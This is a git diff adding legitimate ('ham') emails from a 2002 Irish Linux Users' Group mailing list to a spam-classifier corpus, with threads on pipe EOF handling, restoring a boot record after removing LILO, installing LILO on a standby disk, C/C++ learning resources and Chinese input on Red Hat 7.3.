pipe + with pipe(2), but forgets to close(2) the reader's fd in + the writer-process (or visa-versa) .... and then wonders + why the real reader never sees an EOF and/or the writer + is never gets an EPIPE/SIGPIPE. various FAQs and many + books probably discuss this topic in depth to the death. + + | Sensible behaviour has now been observed. + + good! and good luck. +cheers, + -blf- +-- +«How many surrealists does it take to | Brian Foster Dublin, Ireland + change a lightbulb? Three. One calms | e-mail: blf@utvinternet.ie + the warthog, and two fill the bathtub | mobile: (+353 or 0)86 854 9268 + with brightly-coloured machine tools.» | http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00191.96c361ca02379ca61455f8664b000cd0 b/bayes/spamham/easy_ham_2/00191.96c361ca02379ca61455f8664b000cd0 new file mode 100644 index 0000000..fa1882e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00191.96c361ca02379ca61455f8664b000cd0 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Wed Jul 31 18:33:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4ACB044103 + for ; Wed, 31 Jul 2002 13:33:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:33:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VHYX203357 for + ; Wed, 31 Jul 2002 18:34:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA19743; Wed, 31 Jul 2002 18:32:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA19704 for ; + Wed, 31 Jul 2002 18:32:32 +0100 +Received: from dialup138-b.ts551.cwt.esat.net ([193.203.141.138] + helo=Hobbiton.cod.ie) by mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17ZxDz-0000ZA-00 for ilug@linux.ie; Wed, 31 Jul 2002 18:25:27 +0100 +Received: (from cdaly@localhost) by Hobbiton.cod.ie (8.11.6/8.9.3) id + g6VGOZB04967 for ilug@linux.ie; Wed, 31 Jul 2002 17:24:35 +0100 +Date: Wed, 31 Jul 2002 17:24:34 +0100 +From: Conor Daly +To: ilug@linux.ie +Subject: Re: [ILUG] removing lilo +Message-Id: <20020731172434.A4779@Hobbiton.cod.ie> +Mail-Followup-To: ilug@linux.ie +References: <3D351C3E@webmail.ucc.ie> + <20020731144026.2fed98fd.lbedford@lbedford.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020731144026.2fed98fd.lbedford@lbedford.org>; + from lbedford@lbedford.org on Wed, Jul 31, 2002 at 02:40:26PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 02:40:26PM +0100 or so it is rumoured hereabouts, +Liam Bedford thought: +> On Wed, 31 Jul 2002 14:30:01 +0100 +> jac1 claiming to think: +> +> > hi, +> > i recently had to wipe linux from my pc but forgot to restore the original +> > MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot +> > floppy. formatting the entire disk doesn't do it either. +> > +> boot from dos and fdisk /mbr? +> boot from an NT CD, choose repair, and make it check the mbr + ^^^^^^ + +Nice how NT "repair"s a hard disk by removing other OSs. Could we call it +that on Linux install disks too? + +Conor +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 5:37pm up 69 days, 2:54, 0 users, load average: 0.08, 0.02, 0.01 +Hobbiton.cod.ie + 5:22pm up 12 days, 0 min, 1 user, load average: 0.03, 0.03, 0.00 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00192.b1c13f7caac54fca99993a3478d603d9 b/bayes/spamham/easy_ham_2/00192.b1c13f7caac54fca99993a3478d603d9 new file mode 100644 index 0000000..de4c6eb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00192.b1c13f7caac54fca99993a3478d603d9 @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Wed Jul 31 18:33:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C51354410D + for ; Wed, 31 Jul 2002 13:33:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:33:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VHNN202887 for + ; Wed, 31 Jul 2002 18:23:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA19229; Wed, 31 Jul 2002 18:21:22 +0100 +Received: from mel-rto2.wanadoo.fr (smtp-out-2.wanadoo.fr + [193.252.19.254]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA19185 + for ; Wed, 31 Jul 2002 18:21:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-2.wanadoo.fr + [193.252.19.254] claimed to be mel-rto2.wanadoo.fr +Received: from mel-rta7.wanadoo.fr (193.252.19.61) by mel-rto2.wanadoo.fr + (6.5.007) id 3D1838B6012EC005 for ilug@linux.ie; Wed, 31 Jul 2002 19:20:39 + +0200 +Received: from bolsh.wanadoo.fr (80.8.224.71) by mel-rta7.wanadoo.fr + (6.5.007) id 3D2A78FA00A4D937 for ilug@linux.ie; Wed, 31 Jul 2002 19:20:39 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17ZxE0-0006vU-00 for ; Wed, 31 Jul 2002 19:25:28 +0200 +Date: Wed, 31 Jul 2002 19:25:27 +0200 +From: David Neary +To: "ILUG (Request)" +Subject: Re: [ILUG] Re: C++ and C Mailing Lists for Beginners and Advanced +Message-Id: <20020731192527.A14333@wanadoo.fr> +References: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> + <20020731125129.B11532@wanadoo.fr> + <3D481E58.55223704@cdm01.deedsmiscentral.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <3D481E58.55223704@cdm01.deedsmiscentral.net> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +SoloCDM wrote: +> David Neary stated the following: +> > Try the following newsgroups - Beginners: news:comp.lang.learn.c-c++ +> +> I tried news:comp.lang.learn.c-c++ and it wouldn't work. Is there a +> typo? + +Yup. It's alt.comp.lang.learn.c-c++ Sorry about that. + +I've never used the group, so I can't vouch for it's usefulness. +But a few people I respect a lot direct people there for beginner +type stuff. + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00193.61ef7d079ac232c98ef0ac400cf668a1 b/bayes/spamham/easy_ham_2/00193.61ef7d079ac232c98ef0ac400cf668a1 new file mode 100644 index 0000000..cb8d226 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00193.61ef7d079ac232c98ef0ac400cf668a1 @@ -0,0 +1,175 @@ +From ilug-admin@linux.ie Wed Jul 31 18:34:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC1024410E + for ; Wed, 31 Jul 2002 13:33:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:33:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VHZD203399 for + ; Wed, 31 Jul 2002 18:35:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA19781; Wed, 31 Jul 2002 18:32:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA19711; Wed, 31 Jul 2002 + 18:32:34 +0100 +Received: from dialup138-b.ts551.cwt.esat.net ([193.203.141.138] + helo=Hobbiton.cod.ie) by mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17ZxE1-0000ZA-00; Wed, 31 Jul 2002 18:25:29 +0100 +Received: (from cdaly@localhost) by Hobbiton.cod.ie (8.11.6/8.9.3) id + g6VGv2005232; Wed, 31 Jul 2002 17:57:02 +0100 +Date: Wed, 31 Jul 2002 17:57:01 +0100 +From: Conor Daly +To: ilug@linux.ie +Cc: Niall O Broin +Subject: Re: [ILUG] Installing lilo on another disk. +Message-Id: <20020731175701.B4779@Hobbiton.cod.ie> +Mail-Followup-To: ilug@linux.ie, Niall O Broin +References: <20020730144740.GA3482@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020730144740.GA3482@bagend.makalumedia.com>; + from niall@linux.ie on Tue, Jul 30, 2002 at 03:47:40PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Jul 30, 2002 at 03:47:40PM +0100 or so it is rumoured hereabouts, +Niall O Broin thought: +> I'm installing warm standby disks on a number of boxes. These disks will be +> the same size (sometimes bigger) than the main disk. The idea is that every +> night I'll rsync the partitions on the main disk to the standby disk so that +> in the case of disaster, the first port of call, before the tapes, is the +> standby disk. (We did consider running Linux md RAID on the disks but RAID +> gives you no protection against slips of the finger) +> +> So, in the event of finger slips we can mount the relevant partition and +> retrieve the banjaxed file. In the case of a disk crash, the plan is that +> we'll put the standby disk in place of the main disk and the workstation +> will be back up ASAP. Then we can deal with replacing the disk without the +> pressure of a broken box on our back. +> +> However, I'm stumped as to how to install LILO on the backup disk. Let's say +> the master disk is /dev/hda and the backup disk is /dev/hdb. lilo.conf +> currently looks like this: +> +> boot = /dev/hda +> change-rules +> reset +> read-only +> menu-scheme = Wg:kw:Wg:Wg +> lba32 +> prompt +> timeout = 80 +> message = /boot/message +> +> image = /boot/vmlinuz +> label = linux +> root = /dev/hda3 +> vga = 791 +> initrd = /boot/initrd +> +> +> +> There are a couple more boot stanzas, but they're not germane. As you can +> see, / is on /dev/hda3 and /boot is on /dev/hda1. So if for instance I had +> booted from a CD and wanted to re-install LILO on this disk I'd do something +> like +> +> mount /dev/hda3 /mnt +> mount /dev/hda1 /mnt/boot +> lilo -r /mnt +> +> which is OK because I'm installing lilo on /dev/hda and I want it to boot +> from /dev/hda so it'll plug in all the right numbers. +> +> However, in the case of the standby disk, I'll have to do something like +> +> mount /dev/hdb3 /mnt +> mount /dev/hdb1 /mnt/boot +> lilo -r /mnt +> +> But I'm obviously going to have to do something different here because I +> want to install onto /dev/hdb in such a way that the disk will boot when it +> becomes /dev/hda after a disaster (like the one I had this morning :-( - +> shutting the stable door was on the to-do list, but the bloody horse decided +> to do a bunk early). The machine already has its spare disk - just hadn't +> yet been used :-( +> +> I thought perhaps I should just do lilo -b /dev/hdb -r /mnt but I think +> that -b is analogous to the boot keyword in lilo.conf. Or will this just +> work automagically ? i.e. boot = /dev/hda tells lilo what numbers to poke +> where, and it figures out where the disk is from the -r ? + + from the Hard Disk Upgrade Mini HOWTO : + +8. Prepare LILO to boot the new disk + + (Thanks to Rick Masters for helping with this.) + + We're assuming that LILO is installed on the hard disk's Master Boot + Record (MBR); this seems to be the most common configuration. You want + to install LILO on what's presently the second hard disk but will + become the first hard disk. + + Edit the file /new-disk/etc/lilo.conf as follows: + + disk=/dev/hdb bios=0x80 # Tell LILO to treat the second + # disk as if it were the first + # disk (BIOS ID 0x80). + boot=/dev/hdb # Install LILO on second hard + # disk. + map=/new-disk/boot/map # Location of "map file". + install=/new-disk/boot/boot.b # File to copy to hard disk's + # boot sector. + prompt # Have LILO show "LILO boot:" + # prompt. + timeout=50 # Boot default system after 5 + # seconds. (Value is in tenths of + # seconds.) + image=/new-disk/boot/vmlinuz # Location of Linux kernel. The + # actual name may include a version + # number, for example + # "vmlinuz-2.0.35". + label=linux # Label for Linux system. + root=/dev/hda1 # Location of root partition on + # new hard disk. Modify this as + # appropriate for your system. + # Note that you must use the name + # of the future location, once the + # old disk has been removed. + read-only # Mount partition read-only at + # first, to run fsck. + +Conor + +PS. Um, what does + +> menu-scheme = Wg:kw:Wg:Wg + +do? +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 6:04pm up 69 days, 3:22, 0 users, load average: 0.00, 0.00, 0.00 +Hobbiton.cod.ie + 5:50pm up 12 days, 27 min, 1 user, load average: 0.00, 0.00, 0.00 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00194.bfa44ea05c7498e0c2857265b5e09003 b/bayes/spamham/easy_ham_2/00194.bfa44ea05c7498e0c2857265b5e09003 new file mode 100644 index 0000000..6c60d02 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00194.bfa44ea05c7498e0c2857265b5e09003 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Wed Jul 31 18:36:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B3EE4440FC + for ; Wed, 31 Jul 2002 13:17:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:17:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VH5h202076 for + ; Wed, 31 Jul 2002 18:05:43 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA18419; Wed, 31 Jul 2002 18:03:21 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA18398 for + ; Wed, 31 Jul 2002 18:03:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from cdm01.deedsmiscentral.net ([204.118.157.90]) by + mail.aculink.net (Merak 4.4.2) with ESMTP id EDA37003; Wed, 31 Jul 2002 + 11:10:27 -0600 +Received: from cdm01.deedsmiscentral.net + (IDENT:redneck@cdm01.deedsmiscentral.net [192.168.20.1]) by + cdm01.deedsmiscentral.net (8.11.6/8.11.6/ver) with ESMTP id g6VHTCT21138; + Wed, 31 Jul 2002 11:29:15 -0600 +Message-Id: <3D481E58.55223704@cdm01.deedsmiscentral.net> +Date: Wed, 31 Jul 2002 11:28:56 -0600 +From: SoloCDM +Reply-To: deedsmis@aculink.net, ilug@linux.ie +X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.20-9.2mdk i586) +X-Accept-Language: en +MIME-Version: 1.0 +To: David Neary +Cc: "ILUG (Request)" +References: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> + <20020731125129.B11532@wanadoo.fr> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Re: C++ and C Mailing Lists for Beginners and Advanced +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +David Neary stated the following: +> +> SoloCDM wrote: +> +> > Are there any mailing lists (non-newsgroups) for C++ and C Beginners +> > and Advanced programmers? +> +> Try the following newsgroups - Beginners: news:comp.lang.learn.c-c++ + +I tried news:comp.lang.learn.c-c++ and it wouldn't work. Is there a +typo? + +> More advanced: news:comp.lang.c news:comp.lang.c++ +> news:comp.lang.c.moderated +> +> Also, you should keep a bookmark pointing at the comp.lang.c FAQ at +> http://www.eskimo.com/~scs/C-faq/top.html +> +> For tutorials, the guy who maintains the clc FAQ (Steve Summit) has +> a tutorial - http://www.eskimo.com/~scs/cclass/notes/top.html Also +> you could have a look at the excercises he poses - all linked from +> http://www.eskimo.com/~scs/cclass/cclass.html +> +> For C++, I would guess that the comp.lang.c++ FAQ is a good place to +> start - they're likely to have links to suggested reading material. +> +> If you're going to do any amount of C programming, you should +> think about getting K&R2 (The C programming language, 2nd edition, +> by Kernighan and Ritchie), for C++ the equivalent book is +> Stroustrup. Although the C++ book is a lot bigger :) + +-- +Note: When you reply to this message, please include the mailing + list and/or newsgroup address and my email address in To: + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00195.6120b0cdf8f72c45ebaf0d81c28ee457 b/bayes/spamham/easy_ham_2/00195.6120b0cdf8f72c45ebaf0d81c28ee457 new file mode 100644 index 0000000..9a135a7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00195.6120b0cdf8f72c45ebaf0d81c28ee457 @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Wed Jul 31 18:57:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 944E5440A8 + for ; Wed, 31 Jul 2002 13:57:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:57:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VHpr203957 for + ; Wed, 31 Jul 2002 18:51:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA20540; Wed, 31 Jul 2002 18:48:58 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA20517 for ; + Wed, 31 Jul 2002 18:48:52 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17ZxaX-0001l7-00 for ; Wed, 31 Jul 2002 10:48:45 -0700 +Date: Wed, 31 Jul 2002 10:48:44 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] removing lilo +Message-Id: <20020731174844.GR4974@linuxmafia.com> +References: <3D351C3E@webmail.ucc.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D351C3E@webmail.ucc.ie> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting jac1 (jac1@student.cs.ucc.ie): + +> i recently had to wipe linux from my pc but forgot to restore the original +> MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot +> floppy. formatting the entire disk doesn't do it either. + +The easy way is just to install whatever Microsoft or whatever OS you +have in mind: It should overwrite the MBR. Indeed, the problem is +usually _preventing_ this from happening, as Microsoft Corporation's +installers seem to forever be overwriting your MBRs when you least wish +it, without asking your permission. + +-- +Cheers, "We're sorry; you have reached an imaginary number. +Rick Moen Please rotate your 'phone ninety degrees and try again." +rick@linuxmafia.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00196.8f7b9e0c0114f5fde680158804bc2f9a b/bayes/spamham/easy_ham_2/00196.8f7b9e0c0114f5fde680158804bc2f9a new file mode 100644 index 0000000..92c79db --- /dev/null +++ b/bayes/spamham/easy_ham_2/00196.8f7b9e0c0114f5fde680158804bc2f9a @@ -0,0 +1,125 @@ +From ilug-admin@linux.ie Wed Jul 31 20:45:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 10F05440C8 + for ; Wed, 31 Jul 2002 15:45:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 20:45:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VJcH206749 for + ; Wed, 31 Jul 2002 20:38:17 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA24482; Wed, 31 Jul 2002 20:34:57 +0100 +Received: from linux.local ([195.218.108.229]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA24452 for ; Wed, + 31 Jul 2002 20:34:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.229] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6VHvoX11572 for + ; Wed, 31 Jul 2002 18:57:50 +0100 +Message-Id: <200207311757.g6VHvoX11572@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] inputting chinese characters in Redhat 7.3 +In-Reply-To: Message from Fergal Daly of + "Wed, 31 Jul 2002 23:11:49 +0800." + <200207312311.49122.fergal@esatclear.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <11569.1028138270.1@linux.local> +Date: Wed, 31 Jul 2002 18:57:50 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + UAA24452 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Wed, 31 Jul 2002 23:11:49 +0800 + | From: Fergal Daly + | + | 7.3 seems to support Chinese input out of the box, it's got + | miniChinput and some other stuff no documentation. [ ... ] + | google is a bit of a dead too. + | + | Can anyone tell me what I should do? + + I've no idea, but a relevant/useful source of info could + be the «linux-utf8» e-list: + + http://www.cl.cam.ac.uk/~mgk25/unicode.html + http://mail.nl.linux.org/linux-utf8/ + + whilst the list is nominally about UTF-8/Unicode and Linux, + it often delves into related areas (such as input methods). + + my (vague!) understanding of the state-of-play is there are + multiple ways of keyboarding scripts such as "Chinese", and + the choice of method is a mixture of personal preference, + equipment (e.g. your keyboard), and the tool/application + in question. + + w.r.t. X11 applications, it seems to boil down to two + approaches: one unique to the tool itself (apparently + `yudit' is famous for this); or else using what's called + an XIM (X Input Method). + + WARNING: I am now guessing quite a bit here, based mostly on + my interpretation of what I've read whilst lurking, + and watching a few people keyboarding a Japanese + script years ago! *** your mileage will vary! *** + + XIMs generally work as a complex compose frontend. i.e., you + build up your character as a series of composes of the root or + fundamental strokes ("radicals", I think they are called), and + then "commit" the composite character to the application. + ( yes, keyboarding these scripts _is_ quite slow, I believe + a good typist can only do a few characters a minute! + and I assume using a qwerty keyboard is very painful. ) + + some XIMs compose "in place", others do it on a special line, + and some seem to do it in a special window (or the root?). + also, some(/most?) XIMs apparently support a US-ASCII input + mode as well --- _not_ a general Latin-alphabet input mode, + which seems to require another TLA, called KBD, and which + apparently doesn't work when an XIM is also being used? --- + implying you have to switch back and forth between US-ASCII + input mode (what us English-speakers would call "normal" + keyboarding/typing), and the other input (e.g., Chinese). + I'm not sure, but I have the impression the switch is often + a toggle, and something like . + + many apologies if this is completely wrong or too misleading. + +cheers! + -blf- + +p.s. b.t.w., you almost certainly want to be using a UTF-8 + locale. if RH 7.3 is the so-called "limbo" release, + then you may quite possibility be using one by default. + +-- +«How many surrealists does it take to | Brian Foster Dublin, Ireland + change a lightbulb? Three. One calms | e-mail: blf@utvinternet.ie + the warthog, and two fill the bathtub | mobile: (+353 or 0)86 854 9268 + with brightly-coloured machine tools.» | http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00197.b96f868a833d3ac47289450185767439 b/bayes/spamham/easy_ham_2/00197.b96f868a833d3ac47289450185767439 new file mode 100644 index 0000000..fad4f72 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00197.b96f868a833d3ac47289450185767439 @@ -0,0 +1,96 @@ +From ilug-admin@linux.ie Wed Jul 31 21:06:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EC836440CD + for ; Wed, 31 Jul 2002 16:06:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 21:06:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VK17207441 for + ; Wed, 31 Jul 2002 21:01:07 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA25479; Wed, 31 Jul 2002 20:58:37 +0100 +Received: from linux.local ([195.218.108.229]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA25450 for ; Wed, + 31 Jul 2002 20:58:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.229] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6VJwhX12224 for + ; Wed, 31 Jul 2002 20:58:43 +0100 +Message-Id: <200207311958.g6VJwhX12224@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] inputting chinese characters in Redhat 7.3 +In-Reply-To: Message from Brian Foster of + "Wed, 31 Jul 2002 18:57:50 BST." + <200207311757.g6VHvoX11572@linux.local> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <12221.1028145523.1@linux.local> +Date: Wed, 31 Jul 2002 20:58:43 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + UAA25450 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Wed, 31 Jul 2002 18:57:50 +0100 + | From: Brian Foster + | + | | Date: Wed, 31 Jul 2002 23:11:49 +0800 + | | From: Fergal Daly + | | + | | 7.3 seems to support Chinese input out of the box, it's got + | | miniChinput and some other stuff no documentation. [ ... ] + | | Can anyone tell me what I should do? + | + | I've no idea, but a relevant/useful source of info could + | be the «linux-utf8» e-list: + | + | http://www.cl.cam.ac.uk/~mgk25/unicode.html + | http://mail.nl.linux.org/linux-utf8/ + |[ ... ] + | w.r.t. X11 applications [ one approach is to use ] + | what's called an XIM (X 